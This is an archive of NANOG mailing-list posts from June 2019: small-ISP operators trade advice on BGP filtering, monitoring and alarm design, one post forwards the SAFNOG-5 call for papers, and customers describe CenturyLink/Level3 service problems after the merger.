References: Message-ID: This Gem is fantastic by the way, https://nsrc.org/workshops/2015/apricot2015/raw-attachment/wiki/Track1Agenda/01-ISP-Network-Design.pdf On Tue, Jun 4, 2019 at 5:57 AM Warren Kumari wrote: > On Mon, Jun 3, 2019 at 11:34 PM Brandon Martin > wrote: > > > > On 6/3/19 9:56 AM, Jon Lewis wrote: > > > 3) Don't advertise one transit provider's routes to another. Each > should > > > be filtering your routes, but you never know. Come up with, and > use > > > BGP communities to control route propagation. As you grow, it > sucks > > > having to update prefix-list filters in multiple places every time > > > something changes...like a new customer with their own IPs. > > > > To reiterate all this, FILTER EVERYTHING. > > > > To start with, explicitly specify in a route-map or similar everything > > you want to advertise. I usually create a separate route-map for each > > transit/peer and include what I want to advertise via prefix lists (for > > my IP space) and/or communities (for downstream BGP-speaking customers > > if anticipated). > > I think a related *principle* is: "Build everything as though you are > expecting to scale." > > This doesn't mean "spend lots of money to buy huge > [routers|servers|commercial software|], but rather "when you plan > your addressing structure and routing policies and monitoring and > device config generation and... keep the in mind the question "If this > suddenly takes off, and I hire N more people to run this, can I > explain to them how it works? Do I have documentation I can point them > at or is it stuck in my head / on the devices? If I need to add > another M customers in the next month, can I do that easily?". > > This is related to the FILTER EVERYTHING -- when you turn up a new > customer / peer / transit / whatever, you shouldn't be sitting around > trying to figure out how you will write their route-map / > policy-options -- this leads to weird one-offs, and quick hacks. > Instead you should have policies already largely designed and simply > plug in their prefixes (or, better yet, use bgpq3 or similar to build > and populate these). Obviously there will be some cases where a new > connection does require some special handling, but that *should* just > be a plugin/chain in an existing policy-statement. Related to this is > how you end up naming things -- I recently found 9 variants of > firewall-filters which basically do: > > filter ACCEPT { > term ACCEPT { > then accept; > } > } > named things like: ACCEPT, ACEPT, Accept, Allow, Permit_all, > AcceptAll, dontdrop [0]. > > Obviously, there is a tension in the "design for scale" - while it > would be great to design a complete automation system so that > everything from installing a new customer to a new sites is simply > typing 'make ' and having everything pull from a database, at > some point you will need to actually build a network, or you'll never > have customers :-) Just keep in mind that "Am I building myself into a > corner here?". E.g it only takes 10 or 15 minutes to install something > like NetBox to keep track of addresses (and prefixes and racks and > connections and ...) -- stuffing this in a spreadsheet might save you > a few minutes *now*, but will this scale? Can $new_person easily > figure it out? > > > W > [0]: My personal favorite is: > filter Accept_All { > term Accept { > then { > count dropped; > reject; > } > } > term filter_ { > from { > prefix-list { > ; > } > } > then accept; > } > term NEXT { > then log; > } > } > > Presumably this all made sense to > when they stuck it in at 3AM to deal with some crazy issue, but... > > > > > > > When you turn on the session, check what you're squawking AND WHAT > > YOU'RE FILTERING. You shouldn't be filtering anything you don't expect. > > Belt + suspenders. > > > > The same goes for anything you accept. Obviously for a blended full > > transit BGP edge router, you're probably going to accept almost > > everything. But if you only want default + on-net, try to filter using > > communities from the peer, etc. Again, right when you turn on the > > session, "sh ip bgp ... filtered" of whatever's equivalent on your > > platform. If you're filtering something you don't expect to be > > receiving at all, figure out where the misunderstanding or > > misconfiguration lies. > > > > And of course it goes without saying that, if you've got BGP speaking > > customers, you filter the heck out of them. Use ROAs and/or RPKI if you > > can to automatically generate filter lists. Encourage your upstreams to > > do the same if they're filtering you (and they probably are, or at least > > should be, if you're new). Remember that you are responsible for every > > route you advertise, at the end of the day, even if you only advertised > > it because a downstream network made a boo-boo and you didn't filter it. > > > > Filters are useful on your IGP, too, but there's so many ways to set all > > that up that it's a bit more difficult to come up with nearly universal > > best practices. Generally speaking, be careful with redistribution, > > never distribute BGP into IGP or vice versa unless you have a really, > > really good reason to, and consider filters between both IGP > > areas/regions or protocols (e.g. RIP coming into OSPF) as well as on > > redistributions of static/connected to prevent simple typos on a static > > route or interface configuration from taking down more than just local > > stuff. > > > > It's way, way easier to remove or relax filters later if they prove more > > of an operational hazard than asset than it is to add or tighten them if > > they prove insufficient. > > -- > > Brandon Martin > > > > -- > I don't think the execution is relevant when it was obviously a bad > idea in the first place. > This is like putting rabid weasels in your pants, and later expressing > regret at having chosen those particular rabid weasels and that pair > of pants. > ---maf > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Tue Jun 4 14:20:34 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Tue, 4 Jun 2019 16:20:34 +0200 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <762890a1-b9d8-455c-4b6e-d7d42e91c0ff@seacom.mu> On 3/Jun/19 15:41, Fletcher Kittredge wrote: > > Here is your checklist in descending order of importance: > > 1. market opportunity > 2. finding the right partners (see below) > 3. financial > 4. sales and marketing > 5. organizational capacity and HR > 6. legal, regulatory > 7. capital acquisition > 8. security > 9. ... > 10. ... > 11. ... > 12. technical including equipment selection, routing policy, > filtering, etc > 13. Don't run Mikrotik. I'm kidding... I think :-)... Mark. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Tue Jun 4 13:02:44 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Tue, 4 Jun 2019 15:02:44 +0200 Subject: Fwd: [safnog] SAFNOG-5 Call for Papers In-Reply-To: <1559304228396.52251@safnog.net> References: <1559304228396.52251@safnog.net> Message-ID: <6188131c-9310-58b5-1ef9-e5de714b3bd8@seacom.mu> FYI. Mark. -------- Forwarded Message -------- Subject: [safnog] SAFNOG-5 Call for Papers Date: Fri, 31 May 2019 12:03:49 +0000 From: Portia Rabonda To: safnog at safnog.org Dear All, Call for papers is open ​and the SAFNOG-5 Programme Committee would like to encourage your participation and contributions to the upcoming SAFNOG-5 Conference in the form of Presentations and Tutorials.   We are looking for presenters who would:     - Offer a technical tutorial on an appropriate topic;     - Participate in the technical conference sessions as a speaker;     - Convene and chair panel sessions of relevant topics. *Conference Milestones*   Call for Papers Opens                     21st May, 2019 Draft Program Published                 ​29th July, 2019 Final Deadline for Submissions         5th August, 2019     Final Program Published                 16th August, 2019     Final Slides Received                      20th August, 2019                            **NOTE THAT REGARDLESS OF DEADLINES, SLOTS ARE FILLED ON A FIRST COME, FIRST SERVED BASIS**   *Program Material* The SAFNOG-5 Conference Programme consists of two parts, these being the Tutorials and Conference Tracks. Topics proposed must be relevant to Internet Operations and Technologies:     - IPv4 / IPv6 Routing and Operations     - IPv6 deployment and transition technologies     - Internet backbone operations     - ISP and Carrier services     - IXPs and Peering     - Research on Internet Operations and Deployment     - Software Defined Networking / Network Function Virtualisation     - Network security issues (NSP-SEC, DDoS, Anti-Spam, Anti-Malware)     - DNS / DNSSEC     - Internet policy (Security, Regulation, Content Management, Addressing, etc)     - Access and Transport Technologies, including Cable/DSL, LTE/5G, wireless, metro ethernet, fibre, segment routing     - Content & Service Delivery (Multicast, Voice, Video, "telepresence", Gaming) and Cloud Computing *CfP Submissions* Draft slides for both tutorials and conference sessions MUST be provided with CfP submissions otherwise the Programme Committee will be unable to review the submission. For avoidance of doubt this means that submissions which do not include slides will be rejected immediately. For work in progress, the most current information available at time of submission is acceptable. All draft and complete slides must be submitted in PDF format only. Final slides are to be provided by the specified deadline for publication on the SAFNOG-5 website. Prospective presenters should note that the majority of speaking slots will be filled well before the final submission deadline. The PC may, at their discretion, retain a limited number of slots up to the final submission deadline for presentations that are exceptionally timely, important, or of critical operational importance. Every year we turn away submissions, due to filling up all available programme slots before the deadline. Presenters should endeavour to get material into the PC sooner rather than later. Please submit your contributions online at http://www.safnog.org    Any questions or concerns should be addressed to the Programme Committee by e-mail at:                                              pc-chairs at safnog.org  We look forward to receiving your presentation proposals.     Regards,   SAFNOG-5 Programme Committee     -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- _______________________________________________ safnog mailing list safnog at safnog.org http://lists.safnog.org/listinfo/safnog From bryan at shout.net Tue Jun 4 14:30:09 2019 From: bryan at shout.net (Bryan Holloway) Date: Tue, 4 Jun 2019 09:30:09 -0500 Subject: DOs and DONTs for small ISP In-Reply-To: <762890a1-b9d8-455c-4b6e-d7d42e91c0ff@seacom.mu> References: <762890a1-b9d8-455c-4b6e-d7d42e91c0ff@seacom.mu> Message-ID: On 6/4/19 9:20 AM, Mark Tinka wrote: > > > On 3/Jun/19 15:41, Fletcher Kittredge wrote: >> >> Here is your checklist in descending order of importance: >> >> 1. market opportunity >> 2. finding the right partners (see below) >> 3. financial >> 4. sales and marketing >> 5. organizational capacity and HR >> 6. legal, regulatory >> 7. capital acquisition >> 8. security >> 9. ... >> 10. ... >> 11. ... >> 12. technical including equipment selection, routing policy, >> filtering, etc >> > > 13. Don't run Mikrotik. > > I'm kidding... I think :-)... > > Mark. 14. Go with K56flex, not X2. From mehmet at akcin.net Tue Jun 4 14:30:54 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Tue, 4 Jun 2019 07:30:54 -0700 Subject: CenturyLink/Level3 feedback Message-ID: hi there, Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From deleskie at gmail.com Tue Jun 4 14:50:13 2019 From: deleskie at gmail.com (jim deleskie) Date: Tue, 4 Jun 2019 11:50:13 -0300 Subject: DOs and DONTs for small ISP In-Reply-To: References: <762890a1-b9d8-455c-4b6e-d7d42e91c0ff@seacom.mu> Message-ID: triggered :) On Tue, Jun 4, 2019 at 11:31 AM Bryan Holloway wrote: > > On 6/4/19 9:20 AM, Mark Tinka wrote: > > > > > > On 3/Jun/19 15:41, Fletcher Kittredge wrote: > >> > >> Here is your checklist in descending order of importance: > >> > >> 1. market opportunity > >> 2. finding the right partners (see below) > >> 3. financial > >> 4. sales and marketing > >> 5. organizational capacity and HR > >> 6. legal, regulatory > >> 7. capital acquisition > >> 8. security > >> 9. ... > >> 10. ... > >> 11. ... > >> 12. technical including equipment selection, routing policy, > >> filtering, etc > >> > > > > 13. Don't run Mikrotik. > > > > I'm kidding... I think :-)... > > > > Mark. > > 14. Go with K56flex, not X2. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From randy at psg.com Tue Jun 4 20:56:27 2019 From: randy at psg.com (Randy Bush) Date: Tue, 04 Jun 2019 13:56:27 -0700 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: > This Gem is fantastic by the way, > https://nsrc.org/workshops/2015/apricot2015/raw-attachment/wiki/Track1Agenda/01-ISP-Network-Design.pdf philip smith From mehmet at akcin.net Wed Jun 5 10:31:23 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Wed, 5 Jun 2019 03:31:23 -0700 Subject: CenturyLink/Level3 feedback In-Reply-To: <16b270fbe49.fc1cb1eb181408.4682544866385519749@zoho.com> References: <16b270fbe49.fc1cb1eb181408.4682544866385519749@zoho.com> Message-ID: In recent years at least i can not remember a single telco m&a which has resulted with better service and product. The question is how fast they can go back to the level of service they were providing prior, because during mergers lots of talent walk away, and often misalignments happen burning people out(depending who is buying who) On Wed, Jun 5, 2019 at 04:54 Danny Pinto wrote: > Adding couple of 10G ports in EU has taken 4 months .. still waiting. > Can start to imagine how support can be .. > > As telcos grow bigger with M&As they become slower. How can telcos sustain > / install agility as they grow ? Could be interesting study on telco corp > culture .... > > Danny > > > > > > > ---- On Tue, 04 Jun 2019 20:00:54 +0530 Mehmet Akcin > wrote ---- > > hi there, > > Just a general high-level question about Centurylink/Level3 post-merger, > how is your overall experience with CenturyLink? if you could be sitting > with the CEO of the company what is one thing you would ask him to fix? > > please keep it high level and general. i intend to pass these to him and > his team in an upcoming meeting. > > Mehmet > > > -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Wed Jun 5 10:57:49 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Wed, 5 Jun 2019 12:57:49 +0200 Subject: CenturyLink/Level3 feedback In-Reply-To: References: <16b270fbe49.fc1cb1eb181408.4682544866385519749@zoho.com> Message-ID: <89bbbb4e-c987-cf08-e6ee-cae92c48d699@seacom.mu> On 5/Jun/19 12:31, Mehmet Akcin wrote: > In recent years at least i can not remember a single telco m&a which > has resulted with better service and product. The question is how fast > they can go back to the level of service they were providing prior, > because during mergers lots of talent walk away, and often > misalignments happen burning people out(depending who is buying who) Well, IP Transit pricing isn't what it used to be either, so that will have some kind of impact on how much more your get besides the x-connect and a BGP session. Mark. From nanog at ics-il.net Wed Jun 5 11:56:44 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 5 Jun 2019 06:56:44 -0500 (CDT) Subject: CenturyLink/Level3 feedback In-Reply-To: References: <16b270fbe49.fc1cb1eb181408.4682544866385519749@zoho.com> Message-ID: <1516467361.3193.1559735803125.JavaMail.mhammett@ThunderFuck> Almost every M&A has been worse. The bulk of the times it hasn't been worse is when the alternative was liquidation. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Mehmet Akcin" To: "Danny Pinto" Cc: "nanog" Sent: Wednesday, June 5, 2019 5:31:23 AM Subject: Re: CenturyLink/Level3 feedback In recent years at least i can not remember a single telco m&a which has resulted with better service and product. The question is how fast they can go back to the level of service they were providing prior, because during mergers lots of talent walk away, and often misalignments happen burning people out(depending who is buying who) On Wed, Jun 5, 2019 at 04:54 Danny Pinto < danny.pinto at zoho.com > wrote: Adding couple of 10G ports in EU has taken 4 months .. still waiting. Can start to imagine how support can be .. As telcos grow bigger with M&As they become slower. How can telcos sustain / install agility as they grow ? Could be interesting study on telco corp culture .... Danny ---- On Tue, 04 Jun 2019 20:00:54 +0530 Mehmet Akcin< mehmet at akcin.net > wrote ----
hi there, Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. Mehmet
-- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From ww at styx.org Wed Jun 5 08:41:23 2019 From: ww at styx.org (William Waites) Date: Wed, 5 Jun 2019 09:41:23 +0100 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: <20190605084123.x5wlrpr44btxf6lv@welcome.groovy.net> On 06/03, Mel Beckman wrote: > I’m constantly amazed at the number of even medium-sized ISPs that have no > network monitoring. An NMS should go in as the first software component — > before billing starts and the provider is on the hook to deliver. > > The second lacking component is a ticket system, which is silly because > turnkey cloud services are not expensive, and open source solutions abound > for budget-limited operators. It's not enough to have monitoring and a ticket system. You need to pay attention to them, care for them and feed them. I can't count the number of ticket systems full of ancient and irrelevant things or monitoring systems that people have forgotten about or don't know how to add new stuff to. Even the cycle of, 10 we need network monitoring 20 stand up some monitoring system ... 30 ... time passes, the person leaves etc ... 40 ... the network monitoring system is forgotten ... 50 GOTO 10 Cheers, -w From danny.pinto at zoho.com Wed Jun 5 09:54:31 2019 From: danny.pinto at zoho.com (Danny Pinto) Date: Wed, 05 Jun 2019 15:24:31 +0530 Subject: CenturyLink/Level3 feedback In-Reply-To: References: Message-ID: <16b270fbe49.fc1cb1eb181408.4682544866385519749@zoho.com> Adding couple of 10G ports in EU has taken 4 months ..   still waiting. Can start to imagine how support can be ..As telcos grow bigger with M&As they become slower. How can telcos sustain / install agility as they grow ?  Could be interesting study on telco corp culture ....Danny ---- On Tue, 04 Jun 2019 20:00:54 +0530 Mehmet Akcin wrote ----hi there,Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix?please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting.Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From larry.brower at aramcoservices.com Wed Jun 5 11:56:46 2019 From: larry.brower at aramcoservices.com (Brower, Larry) Date: Wed, 5 Jun 2019 11:56:46 +0000 Subject: CenturyLink/Level3 feedback In-Reply-To: References: Message-ID: Mehmet, Speaking strictly on their voice product, service has gone a bit downhill since the merger. We never had problems with Level3 before the merger. After Centurylink took over we started experiencing problems. Just a couple of examples: We waited months just to turn up a simple PRI. The PRI was sent back to design several times and then when it finally was turned up it isn’t working properly. The CL techs who were formally L3 express nothing but frustration with dealing with CL following the merger. Complaints to the account manager are met with just apologies and delays. International call routing has become unreliable. In the last month alone we have had to create several service requests related to call failures. The result after anywhere from a couple hours to a day is just hey we rerouted try again. Then it works for a couple days and back to call failures and intercept messages. I’ve already been asked if we should drop CenturyLink as the carrier and go back to using someone like AT&T. Never had any of these issue when it was Level3. Regards, Larry Brower, CCNP Collaboration, SSCA, RHCSA, CCDA, CCNA Communications Technician | Unified Communications Group Aramco Services Company Office: 713.432.4516 | Mobile: 832.570.5416 larry.brower at aramcoservices.com This email has been classified as: General Use by Brower, Larry on Wednesday, June 5, 2019 From: NANOG On Behalf Of Mehmet Akcin Sent: Tuesday, June 4, 2019 9:31 AM To: nanog Subject: CenturyLink/Level3 feedback EXTERNAL: This email came from the Internet. Report this message to ASCSuspiciousEmail at aramcoservices.com as suspicious if it contains any suspicious content. hi there, Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From jbothe at me.com Wed Jun 5 14:56:14 2019 From: jbothe at me.com (JASON BOTHE) Date: Wed, 5 Jun 2019 09:56:14 -0500 Subject: CenturyLink/Level3 feedback In-Reply-To: References: Message-ID: <1A2E1F56-FCE3-4BC8-A713-B78CE8923C51@me.com> It’s taking over a year to get waves turned up in EU. I’m currently willing to wager on what comes up first, them or amazon peering (that’s taking just as long). After the merger, we have seen Level3 slide into the CL abyss becoming a pain to deal with. Pricing and ordering has been outsourced we’ve been told and decisions are no longer at a regional level. Frustrating at best. > On Jun 4, 2019, at 09:30, Mehmet Akcin wrote: > > hi there, > > Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? > > please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. > > Mehmet From nanog at ics-il.net Wed Jun 5 14:59:56 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 5 Jun 2019 09:59:56 -0500 (CDT) Subject: CenturyLink/Level3 feedback In-Reply-To: <1A2E1F56-FCE3-4BC8-A713-B78CE8923C51@me.com> References: <1A2E1F56-FCE3-4BC8-A713-B78CE8923C51@me.com> Message-ID: <1378889839.3472.1559746792281.JavaMail.mhammett@ThunderFuck> Anything more than a week for things not requiring last mile construction is ridiculous. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "JASON BOTHE via NANOG" To: "Mehmet Akcin" Cc: "nanog" Sent: Wednesday, June 5, 2019 9:56:14 AM Subject: Re: CenturyLink/Level3 feedback It’s taking over a year to get waves turned up in EU. I’m currently willing to wager on what comes up first, them or amazon peering (that’s taking just as long). After the merger, we have seen Level3 slide into the CL abyss becoming a pain to deal with. Pricing and ordering has been outsourced we’ve been told and decisions are no longer at a regional level. Frustrating at best. > On Jun 4, 2019, at 09:30, Mehmet Akcin wrote: > > hi there, > > Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? > > please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. > > Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Wed Jun 5 18:45:03 2019 From: bill at herrin.us (William Herrin) Date: Wed, 5 Jun 2019 11:45:03 -0700 Subject: DOs and DONTs for small ISP In-Reply-To: <20190605084123.x5wlrpr44btxf6lv@welcome.groovy.net> References: <20190605084123.x5wlrpr44btxf6lv@welcome.groovy.net> Message-ID: On Wed, Jun 5, 2019 at 5:44 AM William Waites wrote: > It's not enough to have monitoring and a ticket system. You need to pay > attention to them, care for them and feed them. I can't count the number > of ticket systems full of ancient and irrelevant things or monitoring > systems that people have forgotten about or don't know how to add new > stuff to. Even the cycle of, Some points to consider when monitoring your network: 1. Beware early automation. If you write a generator to go and monitor all your stuff without addressing how operators will change things one-off (which is hard to design well) the other operators will find the monitoring system unusable. Which means they won't update it when stuff is added and changed. Making it quickly useless. 2. Careful aggregating alarms. That big green or red light is useless. The operator has to be able to start with the alarm and immediately trace back to exactly what tests and results bubbled up in to the aggregate and from there to the malfunctioning component. If you lose this information during the aggregation process, you're just producing noise. 2. Every alarm must be actionable. When the light goes red, what -exactly- do you want the operator to do as a result? Don't create an alarm until you can offer a detailed and specific answer, and link that answer to the alarm so the operator doesn't have to hunt for it. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Wed Jun 5 20:31:36 2019 From: dovid at telecurve.com (Dovid Bender) Date: Wed, 5 Jun 2019 16:31:36 -0400 Subject: CenturyLink/Level3 feedback In-Reply-To: References: Message-ID: For voice there are so many IP options I don't know why anyone even messes with the old school carriers. About 4 years ago we signed up for L3 VoIP. We sent calls to France and the callerID didn't make it. We opened a ticket we were told callerID wasn't guaranteed on international calls. That was the day we canceled our service and asked for a refund. I am sometimes amazed how some of these carriers still have customers signing up. On Wed, Jun 5, 2019 at 8:50 AM Brower, Larry < larry.brower at aramcoservices.com> wrote: > Mehmet, > > > > Speaking strictly on their voice product, service has gone a bit downhill > since the merger. > > > > We never had problems with Level3 before the merger. > > > > After Centurylink took over we started experiencing problems. > > > > Just a couple of examples: > > > > We waited months just to turn up a simple PRI. The PRI was sent back to > design several times and then when it finally was turned up it isn’t > working properly. The CL techs who were formally L3 express nothing but > frustration with dealing with CL following the merger. Complaints to the > account manager are met with just apologies and delays. > > > > International call routing has become unreliable. In the last month alone > we have had to create several service requests related to call failures. > The result after anywhere from a couple hours to a day is just hey we > rerouted try again. Then it works for a couple days and back to call > failures and intercept messages. > > > > I’ve already been asked if we should drop CenturyLink as the carrier and > go back to using someone like AT&T. > > > > Never had any of these issue when it was Level3. > > > > Regards, > > > > Larry Brower, CCNP Collaboration, SSCA, RHCSA, CCDA, CCNA > > Communications Technician | Unified Communications Group > > > > Aramco Services Company > > *Office: 713.432.4516 | Mobile: 832.570.5416 * > > *larry.brower at aramcoservices.com* > > > This email has been classified as: *General Use* by *Brower, Larry *on *Wednesday, > June 5, 2019* > > > > *From:* NANOG *On Behalf Of *Mehmet Akcin > *Sent:* Tuesday, June 4, 2019 9:31 AM > *To:* nanog > *Subject:* CenturyLink/Level3 feedback > > > > *EXTERNAL: This email came from the Internet. Report this message to > ASCSuspiciousEmail at aramcoservices.com > as suspicious if it contains any > suspicious content.* > > hi there, > > > > Just a general high-level question about Centurylink/Level3 post-merger, > how is your overall experience with CenturyLink? if you could be sitting > with the CEO of the company what is one thing you would ask him to fix? > > > > please keep it high level and general. i intend to pass these to him and > his team in an upcoming meeting. > > > > Mehmet > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed Jun 5 20:37:23 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 5 Jun 2019 15:37:23 -0500 (CDT) Subject: CenturyLink/Level3 feedback In-Reply-To: References: Message-ID: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> It's amazing how inconsistent the PSTN is. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Dovid Bender" To: "Larry Brower" Cc: "nanog" Sent: Wednesday, June 5, 2019 3:31:36 PM Subject: Re: CenturyLink/Level3 feedback For voice there are so many IP options I don't know why anyone even messes with the old school carriers. About 4 years ago we signed up for L3 VoIP. We sent calls to France and the callerID didn't make it. We opened a ticket we were told callerID wasn't guaranteed on international calls. That was the day we canceled our service and asked for a refund. I am sometimes amazed how some of these carriers still have customers signing up. On Wed, Jun 5, 2019 at 8:50 AM Brower, Larry < larry.brower at aramcoservices.com > wrote: Mehmet, Speaking strictly on their voice product, service has gone a bit downhill since the merger. We never had problems with Level3 before the merger. After Centurylink took over we started experiencing problems. Just a couple of examples: We waited months just to turn up a simple PRI. The PRI was sent back to design several times and then when it finally was turned up it isn’t working properly. The CL techs who were formally L3 express nothing but frustration with dealing with CL following the merger. Complaints to the account manager are met with just apologies and delays. International call routing has become unreliable. In the last month alone we have had to create several service requests related to call failures. The result after anywhere from a couple hours to a day is just hey we rerouted try again. Then it works for a couple days and back to call failures and intercept messages. I’ve already been asked if we should drop CenturyLink as the carrier and go back to using someone like AT&T. Never had any of these issue when it was Level3. Regards, Larry Brower, CCNP Collaboration, SSCA, RHCSA, CCDA, CCNA Communications Technician | Unified Communications Group Aramco Services Company Office: 713.432.4516 | Mobile: 832.570.5416 larry.brower at aramcoservices.com This email has been classified as: General Use by Brower, Larry on Wednesday, June 5, 2019 From: NANOG < nanog-bounces at nanog.org > On Behalf Of Mehmet Akcin Sent: Tuesday, June 4, 2019 9:31 AM To: nanog < nanog at nanog.org > Subject: CenturyLink/Level3 feedback EXTERNAL: This email came from the Internet. Report this message to ASCSuspiciousEmail at aramcoservices.com as suspicious if it contains any suspicious content. hi there, Just a general high-level question about Centurylink/Level3 post-merger, how is your overall experience with CenturyLink? if you could be sitting with the CEO of the company what is one thing you would ask him to fix? please keep it high level and general. i intend to pass these to him and his team in an upcoming meeting. Mehmet -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Wed Jun 5 20:40:46 2019 From: dovid at telecurve.com (Dovid Bender) Date: Wed, 5 Jun 2019 16:40:46 -0400 Subject: CenturyLink/Level3 feedback In-Reply-To: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> References: <1905738124.3893.1559767041428.JavaMail.mhammett@ThunderFuck> Message-ID: If the FCC has their way the only place you will see the PSTN in history books. I can only hope that the same happens to faxing. On Wed, Jun 5, 2019 at 4:37 PM Mike Hammett wrote: > It's amazing how inconsistent the PSTN is. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > > > > Midwest Internet Exchange > > > > The Brothers WISP > > > ------------------------------ > *From: *"Dovid Bender" > *To: *"Larry Brower" > *Cc: *"nanog" > *Sent: *Wednesday, June 5, 2019 3:31:36 PM > *Subject: *Re: CenturyLink/Level3 feedback > > For voice there are so many IP options I don't know why anyone even messes > with the old school carriers. About 4 years ago we signed up for L3 VoIP. > We sent calls to France and the callerID didn't make it. We opened a ticket > we were told callerID wasn't guaranteed on international calls. That was > the day we canceled our service and asked for a refund. I am sometimes > amazed how some of these carriers still have customers signing up. > > > > On Wed, Jun 5, 2019 at 8:50 AM Brower, Larry < > larry.brower at aramcoservices.com> wrote: > >> Mehmet, >> >> >> >> Speaking strictly on their voice product, service has gone a bit downhill >> since the merger. >> >> >> >> We never had problems with Level3 before the merger. >> >> >> >> After Centurylink took over we started experiencing problems. >> >> >> >> Just a couple of examples: >> >> >> >> We waited months just to turn up a simple PRI. The PRI was sent back to >> design several times and then when it finally was turned up it isn’t >> working properly. The CL techs who were formally L3 express nothing but >> frustration with dealing with CL following the merger. Complaints to the >> account manager are met with just apologies and delays. >> >> >> >> International call routing has become unreliable. In the last month alone >> we have had to create several service requests related to call failures. >> The result after anywhere from a couple hours to a day is just hey we >> rerouted try again. Then it works for a couple days and back to call >> failures and intercept messages. >> >> >> >> I’ve already been asked if we should drop CenturyLink as the carrier and >> go back to using someone like AT&T. >> >> >> >> Never had any of these issue when it was Level3. >> >> >> >> Regards, >> >> >> >> Larry Brower, CCNP Collaboration, SSCA, RHCSA, CCDA, CCNA >> >> Communications Technician | Unified Communications Group >> >> >> >> Aramco Services Company >> >> *Office: 713.432.4516 | Mobile: 832.570.5416 * >> >> *larry.brower at aramcoservices.com* >> >> >> This email has been classified as: *General Use* by *Brower, Larry *on *Wednesday, >> June 5, 2019* >> >> >> >> *From:* NANOG *On Behalf Of *Mehmet Akcin >> *Sent:* Tuesday, June 4, 2019 9:31 AM >> *To:* nanog >> *Subject:* CenturyLink/Level3 feedback >> >> >> >> *EXTERNAL: This email came from the Internet. Report this message to >> ASCSuspiciousEmail at aramcoservices.com >> as suspicious if it contains any >> suspicious content.* >> >> hi there, >> >> >> >> Just a general high-level question about Centurylink/Level3 post-merger, >> how is your overall experience with CenturyLink? if you could be sitting >> with the CEO of the company what is one thing you would ask him to fix? >> >> >> >> please keep it high level and general. i intend to pass these to him and >> his team in an upcoming meeting. >> >> >> >> Mehmet >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From baldur.norddahl at gmail.com Wed Jun 5 20:57:04 2019 From: baldur.norddahl at gmail.com (Baldur Norddahl) Date: Wed, 5 Jun 2019 22:57:04 +0200 Subject: DOs and DONTs for small ISP In-Reply-To: References: Message-ID: For some reason our network looks nothing like that. He either needs to define what a PoP is or define a module that does not have expensive gear like two redundant routers at every location. Regards Baldur tir. 4. jun. 2019 15.46 skrev Mehmet Akcin : > This Gem is fantastic by the way, > > > https://nsrc.org/workshops/2015/apricot2015/raw-attachment/wiki/Track1Agenda/01-ISP-Network-Design.pdf > > On Tue, Jun 4, 2019 at 5:57 AM Warren Kumari wrote: > >> On Mon, Jun 3, 2019 at 11:34 PM Brandon Martin >> wrote: >> > >> > On 6/3/19 9:56 AM, Jon Lewis wrote: >> > > 3) Don't advertise one transit provider's routes to another. Each >> should >> > > be filtering your routes, but you never know. Come up with, and >> use >> > > BGP communities to control route propagation. As you grow, it >> sucks >> > > having to update prefix-list filters in multiple places every time >> > > something changes...like a new customer with their own IPs. >> > >> > To reiterate all this, FILTER EVERYTHING. >> > >> > To start with, explicitly specify in a route-map or similar everything >> > you want to advertise. I usually create a separate route-map for each >> > transit/peer and include what I want to advertise via prefix lists (for >> > my IP space) and/or communities (for downstream BGP-speaking customers >> > if anticipated). >> 